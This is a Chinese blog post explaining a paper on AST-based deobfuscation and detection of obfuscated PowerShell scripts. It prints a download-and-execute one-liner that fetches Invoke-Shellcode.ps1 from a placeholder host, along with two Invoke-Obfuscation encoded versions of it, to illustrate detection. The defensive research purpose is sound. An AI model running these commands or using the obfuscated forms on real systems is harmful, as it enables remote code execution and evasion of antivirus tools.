当前位置: 首页 > news >正文

论文解读 --- 《针对PowerShell脚本的有效轻量级去混淆和语义感知攻击检测》

开篇

今天我们继续来解读安全行业优秀论文,通过学习他人的智慧成果,可以不断丰富我们的安全视野,使用它山之石来破解自身的难题。

这次要解读的论文为《Effective and Light-Weight Deobfuscation and Semantic-Aware Attack Detection for PowerShell Scripts》,即《针对PowerShell脚本的有效轻量级去混淆和语义感知攻击检测》,作者为浙江大学网络安全博士。其在论文中提出了一个行之有效的对混淆的powershell脚本进行还原的方法,读来非常有启发性,值得写一篇文章来系统地分析下该方案。更重要的是,该还原方案具有通用性,不仅适用于混淆powershell脚本的还原,对其它语言类型的脚本,比如javascript、php、jsp和python等等,也一样适用。

本篇文章我们着重讲解论文中的去混淆方案,至于其中的"语义感知攻击检测"不做过多赘述,感兴趣的同学可以去阅读下论文原文。

代码混淆

事实上,混淆是阻碍反病毒引擎查杀包括Powershell在内的恶意程序的最大元凶,同样对混淆后的代码进行检测也非常有挑战性。因为本篇解读的论文针对的是powershell的混淆样本,所以我们也使用powershell来进行举例。

比如下面是一段典型的从外部网址下载powershell恶意代码并执行的脚本:

Invoke-Expression (New-Object Net.WebClient).DownloadString("https://xxx/Invoke-Shellcode.ps1");

这段代码会首先建立一个Web客户端,然后向指定的url下载脚本文件并执行,是一个典型的恶意行为。这里的恶意特征还是非常明显的,大部分的防病毒引擎都能够识别其中的特征并成功检测:

  • Invoke-Expression:动态执行powershell代码的cmdlet;
  • Net.WebClient:.net中的网络客户端类;
  • .DownloadString():下载方法;
  • “Invoke-Shellcode.ps1”:待下载的恶意脚本;

下面我们使用知名的powershell代码混淆工具Invoke-Obfuscation来对这段代码进行混淆,使用Invoke-Obfuscation的TOKEN/ALL混淆方式进行混淆后的结果如下:

&("{1}{2}{3}{0}"-f 'n','Invoke-Expre','s','sio') (.("{0}{1}{2}" -f 'New-','O','bject') ("{2}{3}{1}{0}"-f'lient','C','Ne','t.Web')).("{1}{0}{2}" -f'ownload','D','String').Invoke(("{0}{7}{6}{3}{2}{5}{1}{4}"-f 'https://xxx','e.p','llc','he','s1','od','Invoke-S','/'));.("{1}{0}{3}{4}{2}{5}"-f 'ke-','Invo','i','E','xpress','on') (&("{0}{1}{3}{2}"-f'Ne','w','t','-Objec') ("{3}{1}{2}{0}" -f 'nt','et.WebCli','e','N')).("{1}{0}{2}{3}" -f 'loadStri','Down','n','g').Invoke(("{1}{0}{6}{5}{3}{2}{7}{4}"-f':','https','-Shell','oke','ode.ps1','/xxx/Inv','/','c'));

而使用Invoke-Obfuscation的STRING/3混淆方式混淆后的结果如下:

&((gv '*MDR*').nAmE[3,11,2]-JoIn'')( ( [RegEx]::mAtChEs("XEI | )93]raHC[,)47]raHC[+27]raHC[+701]raHC[(  eCalPer- 43]raHC[,)94]raHC[+58]raHC[+221]raHC[( EcaLpERc-)';))'+'JHkcJHk'+',J'+'Hk'+'/JHk,J'+'Hk'+'vn'+'I/xxx/JHk,J'+'Hk1sp.edoJ'+'Hk'+',JH'+'kekoJ'+'H'+'k'+',JH'+'kl'+'lehS-JHk,J'+'Hk'+'sptthJHk,J'+'Hk:JH'+'k'+'f
'+'-'+'1'+'Uz'+'}'+'4{}7{}'+'2'+'{}'+'3{}5{}6{}'+'0{'+'}'+'1'+'{1'+'Uz((e'+'kovn'+'I'+'.'+')JHk'+'gJH'+'k,JHknJHk'+',JHknwoDJH'+'k,JH'+'kirtSdaol'+'JHk f-'+' 1'+'Uz}'+'3{}2{}0{}1'+'{1U'+'z'+'('+'.)'+')J'+'HkNJ'+'Hk,JHke'+'JHk,'+'JHk'+'il'+'C'+'b'+'e'+'W.t'+'eJH'+'k,JHk'+'t'+'nJHk f'+'- 1'+'Uz}'+'0{}'+'2{}1'+'{}'+'3{
1Uz( )JHk'+'c'+'e'+'jbO-JHk,JHkt'+'J'+'Hk,JH'+'k'+'wJ'+'Hk,J'+'Hk'+'e'+'NJHkf'+'-1U'+'z}2{'+'}'+'3{'+'}1'+'{'+'}'+'0'+'{1'+'U'+'z(&( )JH'+'knoJH'+'k,JH'+'k'+'ss'+'er'+'px'+'J'+'Hk,'+'JHkE'+'JH'+'k,JHk'+'iJHk,'+'JHkovnIJ'+'Hk,'+'JHk-ekJHk '+'f'+'-1U'+'z}5'+'{}2'+'{}'+'4'+'{}3'+'{}0{'+'}'+'1{'+'1U'+'z(.;))J'+'H'+'k/JH
k,'+'J'+'HkS-ekovnIJHk'+',J'+'Hkdo'+'JHk,JHk1sJH'+'k,JHkeh'+'JHk,JHk'+'cllJHk,JHkp.eJH'+'k,JHk'+'xx'+'x'+'/'+'/'+':'+'s'+'ptth'+'J'+'Hk '+'f'+'-1'+'U'+'z'+'}4'+'{}1'+'{}'+'5{'+'}2{}3{}6'+'{}7{}0{'+'1'+'Uz('+'('+'e'+'k'+'ovnI.)'+'J'+'H'+'k'+'g'+'nir'+'t'+'SJHk,JH'+'k'+'D'+'JHk,JHkdaol'+'nwo'+'JHkf'+'-'+' 1Uz}'+'2'+'{
'+'}0{}1{1Uz'+'('+'.))'+'J'+'H'+'kbeW.tJ'+'Hk,JHkeN'+'JH'+'k,J'+'HkC'+'JHk,JHktne'+'il'+'JHkf-1Uz'+'}'+'0{'+'}1{}'+'3{}2{1Uz('+' '+')'+'JHk'+'tce'+'j'+'bJHk,JHkOJH'+'k'+',JHk-'+'w'+'eNJHk f'+'- 1'+'Uz}2'+'{}1{}'+'0{1Uz'+'(.('+' )JH'+'koisJ'+'Hk,'+'J'+'Hks'+'J'+'Hk'+',JHkerpx'+'E'+'-ek'+'ovn'+'IJHk,JHk'+'n'+'JHk'+' '
+'f-1Uz'+'}0'+'{}'+'3'+'{}'+'2'+'{}'+'1{1'+'Uz'+'(&'((" ,'.','riGHTto'+'LE'+'FT' )-JoIN'')  )

可见混淆后的代码的真实意图已经完全被隐藏,大部分防病毒引擎对这样的混淆后代码也是无能为力的,最多只能检测到这段代码是一段混淆代码,至于代码的真实意图则无法发掘。

这就凸显了混淆代码还原的重要意义,它能够把混淆后的混乱代码还原到最初的形态,或者接近最初形态,然后将还原后的代码再交给检测引擎进行检测,这样就能极大地提高检出率,降低误报率,报告出代码的真实意图。

解混淆方案

传统的解混淆方法基本分为三个阶段:

  • 检测阶段:判断脚本是否被混淆过;
  • 解混淆阶段:使用动态或静态解混淆;
  • 验证阶段:验证解混淆的效果;
    在这里插入图片描述

这类传统方法存在如下问题:

  • 粗粒度的混淆检测:不能处理局部混淆,比如恶意程序只对关键代码部分进行混淆,整体代码仍符合为正常代码的特征。此时,如果将解混淆逻辑应用到整个脚本上去解混淆,导致未混淆代码受到解混淆逻辑的影响,那么最终还原出的代码和原始代码会差异过大,产生漏报或误报;
  • 解混淆逻辑需手工:某些时候需要大量手工工作,无法处理未知混淆,鲁棒性较差;

事实上,混淆了的PowerShell脚本在正式运行时必须动态计算出被混淆隐藏的原始脚本部分,以便解释器能够正确地执行它们。以下图的代码为例,这些脚本有两部分:混淆隐藏的原始脚本部分和解混淆还原算法。

更重要的是,这些混淆片段执行后返回的是字符串类型的代码片段。
在这里插入图片描述

因此,将这些脚本代码片段称为可还原的片段,以及AST可还原子树中相应的子树。只要找到了这些可还原的代码片段,就可以直接使用代码中自带的还原算法来恢复原始脚本。但是,在实践中,在可还原的代码片段和脚本的其他部分之间没有明确的边界,特别是当脚本在被多层混淆时。

为了解决这个问题,论文中提出了一种基于AST子树的方法,它首先定位可还原的代码片段,然后通过动态执行可还原的代码片段,得到执行结果,即原始代码片段,然后根据原始代码片段来重建原始脚本。

该还原方案的整体流程如下所示:
在这里插入图片描述

该方案的核心框架包括五个步骤:

  • 提取AST子树
  • 基于子树的混淆检测
  • 基于模拟器的解混淆
  • 更新AST
  • 后处理

接下来我们一个一个步骤来分析。

提取AST子树

首先,该方案首先会把混淆后的代码编译为AST(抽象语法树),可以使用微软官方程序集System.Management.Automation.dll中的System.Management.Automation.Language.Parser.ParseInput方法来生成指定代码的AST。其它脚本语言也可以找到类似的工具来生成对应的AST。

PowerShell的AST共有71种节点类型,如PipelineAst、CommandAst、CommandExpressionAst等,ParseInput方法返回一个根节点类型为ScriptBlockAst的AST。一个大小为几千字节的脚本生成的AST中可以有数千个节点,意味着有数千个子树,这就使得检查所有子树变得非常耗时。

幸运的是,powershell中只有两种方法可以将还原后的代码片段传递到上层节点,要么直接通过管道,要么间接通过变量。因此,只需要检查这两种类型的子树,根节点为PipelineAst类型的子树或AssignmentStatementAst节点下的第二个子树,因此称这两种类型的子树为可疑的子树。如下图所示,红色块表示PipelineAst节点,蓝色块表示AssignmentStatementAst节点。根据这个论断,需要检查的子树的数量将显著减少,然后以宽度优先的方式遍历AST,将可疑的子树推到堆栈中以便进行后续步骤的操作。
Pass recovered script pieces directly
Pass recovered script pieces indirectly

基于子树的混淆检测

对于已经压入栈中的可疑的子树,论文中采取了一个二元分类器来筛选出真正被混淆的子树。作者选取了四类特征来综合判断,包括:

  • 脚本片段的熵值
    熵表示字符频率的统计特征。有两个会严重影响熵值的流行的混淆技术技术:变量和函数名的随机化,以及编码。熵的计算公式如下:
    在这里插入图片描述
    其中Pi代表第i个字符在所有文本中出现的频率。
  • token的长度
    几乎所有类型的混淆技术都会改变token的长度。这些技术包括但不限于编码、字符串拆分和字符串重新排序等等,论文中选择token的平均值和最大长度作为特征。
  • AST类型的分布
    AST解析器生成的AST中包含71种类型的节点,如PipelineAst、ParenExpressionAst、CommandExpressionAst等。在混淆过程中,某些节点类型的节点数量通常会发生变化。例如,字符串重新排序将添加几个ParenExpressionAst节点和StringConstantExpressAst节点到AST。因此,论文计算每个节点类型的节点数,并构造一个71维的向量作为一个特征
  • AST的深度
    几乎所有的混淆技术对AST的深度和节点总数都有显著的影响。例如,对于基于编码的混淆,无论原始脚本有多少个节点,编码后只剩下大约10个节点,其深度小于6个节点。因此,论文中也使用AST深度和总节点作为特征。

论文中总共从字符级别、token级别和AST级别三个层次中选取了76个特征,并使用逻辑回归与梯度下降算法来执行分类。

基于模拟器的解混淆

在此步骤中,通过powershell相关的几个程序集dll设置一个PowerShell执行会话,该执行会话可以动态执行指定的powershell代码。通过执行在上一步中检测到的混淆片段,如果脚本片段是可恢复的脚本片段,则此过程的返回值为已恢复的脚本片段。如果返回值不是字符串,则意味着上一步的混淆检测结果错误,或者当前的脚本片段不是一个可恢复的片段。

对于这两种情况,都将子树标记为非混淆子树,然后对栈中的下一个混淆子树进行执行。因为是按照自下而上的顺序执行去解混淆,所以总是可以找到一个位于更高级级的可恢复的脚本片段。

更新AST

在从上一步获得执行后的恢复的脚本片段之后,需要将其解析为一个新的AST(恢复后的子树),并更新到原AST。

这个过程有两个主要步骤。首先,需要用恢复后的子树替换原AST上对应的子树。相应地,应该对其所有祖先的特征进行更新,并将恢复后子树中的所有可疑子树推到堆栈中。其次,应该更新脚本片段的更改。具体来说,将可恢复的原始代码片段和恢复后的代码片段块存储在混淆子树的根节点中,然后将更改从底部传递到顶部。最后,当没有了混淆子树时,可以在根节点处获得去混淆脚本。
后处理

脚本解混淆之后后,会得到一个与原始脚本具有相同语义的脚本。但是,在语法方面,这两个脚本之间仍然存在差异。这些差异主要是由混淆过程引起的。

如上所述,通过解混淆过程获得的脚本片段都是字符串。因此,为了帮助解释器理解每个字符串的角色,混淆过程引入了额外的token。例如,在脚本片段 "(‘DownloadFile’).Invoke($url)"中,Invoke函数调用告诉解释器"DownloadFile"应该被视为一个成员方法,而$url是该方法的参数,而混淆会添加额外的圆括号。

在后处理步骤中,这些由混淆过程引入的语法级变化可以用正则表达式定位并相应地去修复。

总结

在混淆样本大行其道的当下,反混淆系统的存在意义非常重大,它一方面可以帮助检测系统更有效的检测恶意样本,同时也能够辅助检测系统给出更符合原始脚本语义的恶意解释。传统的一些反混淆方式大部分都是纯静态还原,通过正则表达式在混淆样本上做一系列的模式匹配,因此适用范围非常有限。

该论文提出的混淆代码的解混淆方案十分新颖和通用,对于基于字符串的混淆方式有非常不错的还原效果,因为采用了基于解释器的动态执行,因此泛化能力很强。同时该方案又具有通用性,可以也应用到其它脚本语言上。

论文链接:https://www.researchgate.net/publication/335927735_Effective_and_Light-Weight_Deobfuscation_and_Semantic-Aware_Attack_Detection_for_PowerShell_Scripts

相关文章:

论文解读 --- 《针对PowerShell脚本的有效轻量级去混淆和语义感知攻击检测》

开篇 今天我们继续来解读安全行业优秀论文,通过学习他人的智慧成果,可以不断丰富我们的安全视野,使用它山之石来破解自身的难题。 这次要解读的论文为《Effective and Light-Weight Deobfuscation and Semantic-Aware Attack Detection for…...

在Spring Boot实战中碰到的拦截器与过滤器是什么?

在Spring Boot实战中,拦截器(Interceptors)和过滤器(Filters)是两个常用的概念,它们用于在应用程序中实现一些通用的逻辑,如日志记录、权限验证、请求参数处理等。虽然它们都可以用于对请求进行…...

数据可视化基础与应用-04-seaborn库人口普查分析--如何做人口年龄层结构金字塔

总结 本系列是数据可视化基础与应用的第04篇seaborn,是seaborn从入门到精通系列第3篇。本系列主要介绍基于seaborn实现数据可视化。 参考 参考:我分享了一个项目给你《seaborn篇人口普查分析–如何做人口年龄层结构金字塔》,快来看看吧 数据集地址 h…...

软考之【系统架构设计师】

系统架构设计师 根据原人事部、原信息产业部文件(国人部发[2003]39号)文件规定,计算机软件资格考试纳入全国专业技术人员职业资格证书制度的统一规划,实行统一大纲、统一试题、统一标准、统一证书的考试办法,每年举行…...

LigaAI x 极狐GitLab,共探 AI 时代研发提效新范式

近日,LigaAI 和极狐GitLab 宣布合作,双方将一起探索 AI 时代的研发效能新范式,提供 AI 赋能的一站式研发效能解决方案,让 AI 成为中国程序员和企业发展的新质生产力。 软件研发是一个涉及人员多、流程多、系统多的复杂工程&#…...

如何看待2023年图灵奖

目录 1.概述 2.计算复杂性理论 3.随机性和伪随机性 4.学术生涯和领导力 1.概述 图灵奖(Turing Award),全称A.M.图灵奖(ACM A.M Turing Award),是由计算机领域的最高学术机构——美国计算机协会&#xf…...

《云原生安全攻防》-- 云原生攻防矩阵

在本节课程中,我们将开始学习如何从攻击者的角度思考,一起探讨常见的容器和K8s攻击手法,包含以下两个主要内容: 云原生环境的攻击路径: 了解云原生环境的整体攻击流程。 云原生攻防矩阵: 云原生环境攻击路径的全景视图&#xff0…...

自然语言处理: 第二十七章LLM训练超参数

前言: LLM微调的超参大致有如下内容,在本文中,我们针对这些参数进行解释 training_arguments TrainingArguments(output_dir"./results",per_device_train_batch_size4,per_device_eval_batch_size4,gradient_accumulation_steps2,optim"adamw_8bi…...

Linux使用C语言实现Socket编程

Socket编程 这一个课程的笔记 相关文章 协议 Socket编程 高并发服务器实现 线程池 网络套接字 socket: (电源)插座(电器上的)插口,插孔,管座 在通信过程中, 套接字是成对存在的, 一个客户端的套接字, 一个…...

Swin Transformer——披着CNN外皮的transformer,解决多尺度序列长问题

题目:Swin Transformer: Hierarchical Vision Transformer using Shifted Windows 《Swin Transformer: Hierarchical Vision Transformer using Shifted Windows》作为2021 ICCV最佳论文,屠榜了各大CV任务,性能优于DeiT、ViT和EfficientNet…...

数据结构排序算法

排序也称排序算法(SortAlgorithm),排序是将一组数据,依指定的顺序进行排列的过程。 分类 内部排序【使用内存】 指将需要处理的所有数据都加载到内部存储器中进行排序插入排序 直接插入排序希尔排序 选择排序 简单选择排序堆排序 交换排序 冒泡排序快速…...

【深度剖析】曾经让人无法理解的事件循环,前端学习路线

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7 深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞…...

Spring 事务失效总结

前言 在使用spring过程中事务是被经常用的,如果不小心或者认识不做,事务可能会失效。下面列举几条 业务代码没有被Spring 容器管理 看下面图片类没有Componet 或者Service 注解。 方法不是public的 Transactional 注解只能用户public上&#xff0c…...

K8S节点kubectl命令报错x509: certificate signed by unknown authority

K8S节点上执行kubectl get node命令报错证书问题,查看kubelet日志如下 [localhost10 ~]$ journalctl -xeu kubelet --since "2024-04-09" --no-pager 4月 09 00:06:22 10.10.44.23-v7-prod-cams-08 kubelet[2142]: I0409 00:06:22.150535 2142 csi_pl…...

【HTML】制作一个简单的实时字体时钟

目录 前言 HTML部分 CSS部分 JS部分 效果图 总结 前言 无需多言,本文将详细介绍一段HTML代码,具体内容如下: 开始 首先新建文件夹,创建一个文本文档,两个文件夹,其中HTML的文件名改为[index.html]&am…...

servlet的三个重要的类(httpServlet 、httpServletRequst、 httpServletResponse)

一、httpServlet 写一个servlet代码一般都是要继承httpServlet 这个类,然后重写里面的方法 但是它有一个特点,根据之前写的代码,我们发现好像没有写main方法也能正常执行。 原因是:这个代码不是直接运行的,而是放到…...

【软考】设计模式之命令模式

目录 1. 说明2. 应用场景3. 结构图4. 构成5. 优缺点5.1 优点5.2 缺点 6. 适用性7.java示例 1. 说明 1.命令模式(Command Pattern)是一种数据驱动的设计模式。2.属于行为型模式。3.请求以命令的形式被封装在对象中,并传递给调用对象。4.调用对…...

波奇学Linux:ip协议

ip报头是c语言的结构体 报头和有效载荷如何分离? 固定长度四位首部长度 4位版本号就是IPV4 8位服务类型:4位TOS位段和位保留字段 4位TOS分别表示:最小延时,最大吞吐量,最高可靠性,最小成本 给路由器提…...

Efficient Multimodal learning from data-centric perspective

[MLLM-小模型推荐-2024.3.18] Bunny 以数据的眼光看问题 - 知乎近期几天会梳理下多模态小模型相关的论文,做个汇总。为了能够每天更新点啥,先穿插一些小模型算法。等到全部算法都梳理完成后,再发布一篇最终汇总版本的。 3.15 号 BAAI 发布了 …...

ubuntu下交叉编译ffmpeg到目标架构为aarch架构的系统

Ubuntu下FFmpeg的aarch64-linux-gnu架构交叉编译教程 一、前言 有时候真的很想报警的,嵌入式算法部署花了好多时间了,RKNN 1808真是问题不少;甲方那边也是老是提新要求,真是受不了。 由于做目标检测,在C代码中有对视…...

【JavaEE】-- HTTP

1. HTTP是什么? HTTP(全称为"超文本传输协议")是一种应用非常广泛的应用层协议,HTTP是基于TCP协议的一种应用层协议。 应用层协议:是计算机网络协议栈中最高层的协议,它定义了运行在不同主机上…...

智慧工地云平台源码,基于微服务架构+Java+Spring Cloud +UniApp +MySql

智慧工地管理云平台系统,智慧工地全套源码,java版智慧工地源码,支持PC端、大屏端、移动端。 智慧工地聚焦建筑行业的市场需求,提供“平台网络终端”的整体解决方案,提供劳务管理、视频管理、智能监测、绿色施工、安全管…...

练习(含atoi的模拟实现,自定义类型等练习)

一、结构体大小的计算及位段 (结构体大小计算及位段 详解请看:自定义类型:结构体进阶-CSDN博客) 1.在32位系统环境,编译选项为4字节对齐,那么sizeof(A)和sizeof(B)是多少? #pragma pack(4)st…...

连锁超市冷库节能解决方案:如何实现超市降本增效

在连锁超市冷库运营中,高能耗、设备损耗快、人工管理低效等问题长期困扰企业。御控冷库节能解决方案通过智能控制化霜、按需化霜、实时监控、故障诊断、自动预警、远程控制开关六大核心技术,实现年省电费15%-60%,且不改动原有装备、安装快捷、…...

学校招生小程序源码介绍

基于ThinkPHPFastAdminUniApp开发的学校招生小程序源码,专为学校招生场景量身打造,功能实用且操作便捷。 从技术架构来看,ThinkPHP提供稳定可靠的后台服务,FastAdmin加速开发流程,UniApp则保障小程序在多端有良好的兼…...

linux 错误码总结

1,错误码的概念与作用 在Linux系统中,错误码是系统调用或库函数在执行失败时返回的特定数值,用于指示具体的错误类型。这些错误码通过全局变量errno来存储和传递,errno由操作系统维护,保存最近一次发生的错误信息。值得注意的是,errno的值在每次系统调用或函数调用失败时…...

SpringBoot+uniapp 的 Champion 俱乐部微信小程序设计与实现,论文初版实现

摘要 本论文旨在设计并实现基于 SpringBoot 和 uniapp 的 Champion 俱乐部微信小程序,以满足俱乐部线上活动推广、会员管理、社交互动等需求。通过 SpringBoot 搭建后端服务,提供稳定高效的数据处理与业务逻辑支持;利用 uniapp 实现跨平台前…...

Axios请求超时重发机制

Axios 超时重新请求实现方案 在 Axios 中实现超时重新请求可以通过以下几种方式: 1. 使用拦截器实现自动重试 import axios from axios;// 创建axios实例 const instance axios.create();// 设置超时时间 instance.defaults.timeout 5000;// 最大重试次数 cons…...

CMake 从 GitHub 下载第三方库并使用

有时我们希望直接使用 GitHub 上的开源库,而不想手动下载、编译和安装。 可以利用 CMake 提供的 FetchContent 模块来实现自动下载、构建和链接第三方库。 FetchContent 命令官方文档✅ 示例代码 我们将以 fmt 这个流行的格式化库为例,演示如何: 使用 FetchContent 从 GitH…...

vue3+vite项目中使用.env文件环境变量方法

vue3vite项目中使用.env文件环境变量方法 .env文件作用命名规则常用的配置项示例使用方法注意事项在vite.config.js文件中读取环境变量方法 .env文件作用 .env 文件用于定义环境变量,这些变量可以在项目中通过 import.meta.env 进行访问。Vite 会自动加载这些环境变…...